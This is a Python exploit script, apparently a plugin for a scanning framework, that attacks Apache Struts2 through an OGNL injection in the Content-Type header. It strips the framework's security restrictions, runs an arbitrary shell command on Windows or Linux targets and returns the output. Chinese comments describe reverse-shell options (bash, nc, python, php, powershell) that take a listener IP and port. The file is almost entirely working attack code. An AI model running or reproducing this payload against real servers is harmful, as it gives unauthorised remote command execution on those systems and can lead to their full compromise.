#!/usr/bin/env python
#coding: utf-8
import requests
import sys
import base64
import argparse
from json_parse import Jsonparse
from json_parse import Reverse_shell


verify = True
class struts2(object):
    def __init__(self,ip,port,level, cmd):
        self.ip = ip
        self.port = port
        self.level = level
        self.cmd = cmd
        self.url = 'http://'+self.ip+':'+str(self.port)
        
    def exploit(self):
        payload = "%{(#_='multipart/form-data')."
        payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
        payload += "(#_memberAccess?"
        payload += "(#_memberAccess=#dm):"
        payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
        payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
        payload += "(#ognlUtil.getExcludedPackageNames().clear())."
        payload += "(#ognlUtil.getExcludedClasses().clear())."
        payload += "(#context.setMemberAccess(#dm))))."
        payload += "(#cmd='%s')." % self.cmd
        payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
        payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
        payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
        payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
        payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
        payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        payload += "(#ros.flush())}"

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
            'Content-Type': str(payload),
            'Accept': '*/*'
        }

        try:
            output = requests.get(self.url, headers=headers, verify=False, timeout=self.level, allow_redirects=False).text
        
        except requests.exceptions.ChunkedEncodingError:
            print("[!] ChunkedEncodingError Error: Making another request to the url.")
            try:
                output = b""
                with requests.get(self.url, headers=headers, verify=False, timeout=self.level, allow_redirects=False, stream=True) as resp:
                    for i in resp.iter_content():
                        output += i
            except requests.exceptions.ChunkedEncodingError as e:
                print("EXCEPTION::::--> " + str(e))
                print("Note: Server Connection Closed Prematurely\n")
            except Exception as e:
                print("EXCEPTION::::--> " + str(e))
                output = 'ERROR'
            if type(output) != str:
                output = output.decode('utf-8')
            return(output)
        except Exception as e:
            print("EXCEPTION::::--> " + str(e))
            output = 'ERROR'
        
        return(output)

    def exec_command(self):
        try:
            output = output = self.exploit()
            print('<PRTINFOZHANG><' + base64.b64encode(output) + '><PRTINFOZHANG>')
        except Exception as e:
            print(e)
            exit(219)

    def reverse_shell(self):
        print("no")
        exit(219)
        
        
          
if __name__ == '__main__':
    # 定义脚本参数接收
    # config.json:json文件的相对路径
    # ​	targetip：目标主机ip
    # ​	targetPort：目标主机端口
    # ​	反弹shell类型： 
    # ​		1——bash反弹
    # ​		2——nc反弹
    # ​		3——python反弹
    # ​		4——php反弹
    # ​		5——windows powershell反弹
    # ​		6——常规命令的执行接口
    # ​	listenIp——监听服务器ip
    # ​	listenPort——监听端口
    # ​	exec_cmd——用户可执行的shell命令，接口的形式，默认传一个值，否者会报错， 传入时一定要用引号引起来，不然空格会当成多个参数使用
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetIp = sys.argv[2]
    timeout = jsondata['timeout']
    targetPort = sys.argv[3]
    
    reverseType = sys.argv[4]
    listenIp = sys.argv[5]
    listenPort = sys.argv[6]
    exec_cmd = sys.argv[7]

    # 实例化反弹shell参数的对象
    reverse_shell = Reverse_shell(listenIp, listenPort, int(reverseType), exec_cmd)
    # 获取反弹shell的payload
    cmd = reverse_shell.select_type()
    #print(cmd)

    Scanner = struts2(targetIp, int(targetPort), timeout, cmd)
    #判断reverseType类型是反弹shell，还是执行命令
    if int(reverseType) == 6:
        Scanner.exec_command()
    else:
        Scanner.reverse_shell()